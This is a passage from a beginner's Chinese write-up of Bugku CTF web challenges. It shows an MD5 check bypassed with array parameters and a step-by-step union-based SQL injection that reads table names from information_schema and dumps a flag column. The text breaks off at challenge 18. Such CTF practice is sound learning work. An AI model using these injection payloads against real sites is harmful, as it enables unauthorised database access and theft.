Bugku CTF Web 解题报告二(16-20)

本文是作者在Bugku CTF平台完成Web挑战16至20的解题报告,涉及SQL注入、加密解密、脚本编写等技巧。在Web 16中通过备份文件获取flag;Web 17利用SQL注入获取数据库信息并解密flag;Web 18尝试用Python脚本解决问题但未成功;Web 19理解响应头动态flag的概念;Web 20通过cookies欺骗获取源码并解密隐藏文件。
摘要由CSDN通过智能技术生成

web 16 备份是个好习惯

打开链接长这样
在这里插入图片描述
让我这个菜鸡摸不着头脑。。。不过前面提示了备份,那就打开index.php.bak吧
在这里插入图片描述
下载打开
在这里插入图片描述
实在看不懂,不过根据下面评论区大佬的提示,这是要用?kekeyy1[]=[1]&kekeyy2[]=[2]绕过md5的加密(真的不懂,还是要多学),所以在后面加上?kekeyy1[]=[1]&kekeyy2[]=[2]后flag就出来了

??
这后面三个字是啥东西???

Web 17 成绩查询

点开后长这样👇

在这里插入图片描述
分别输入1 2 3查了下都是成绩单,输到4就没了。看着像是sql注入的题,因为我还是个菜鸡,刚了解sql注入,只好跟着大佬做。
按照大佬的做法,先进行post请求,一切正常

在这里插入图片描述
加单引号又不行了
在这里插入图片描述
加#又可以了
在这里插入图片描述
这样就可以知道有sql注入漏洞了(为什么啊?我还是不太清楚,有没有大佬解答一下)
然后尝试获取列数,因为123都有了,所以试试4或者更高
构造id=1’ order by 4#,正常
在这里插入图片描述
继续构造id=1’ order by 5#,没了
在这里插入图片描述
所以只有4列

然后尝试联合查询(都是按照大佬的过程来的,还不知道为什么这么做)
具体做法是id=0’ union select 1,2,3,4#
在这里插入图片描述
然后又开始猜解数据库名, 数据库的用户,数据库的版本
具体做法是id=0’ union select 12345,database(),user(),version()#在这里插入图片描述

根据数据库skctf_flag去查询表名
具体做法:id=0’ union select 12345,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
在这里插入图片描述
这个select group_concat(table_name) from information_schema.tables where table_schema=database(),好像是一个用来查询表名的固定格式

上一步得到了表名fl4g和sc,flag应该藏在fl4g里面

根据fl4g表去查询字段名(列名):id=0’ union select 12345,(select group_concat(column_name) from information_schema.columns where table_name=‘fl4g’),user(),version()# (有点迷糊)

再尝试获取字段(列)中的数据:**id=0’ union select 12345,(select group_concat(skctf_flag) from fl4g),user(),version()#**就获得flag了

参考的大佬,感谢大佬的wp。

Web 18 秋名山车神

打开长这样

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值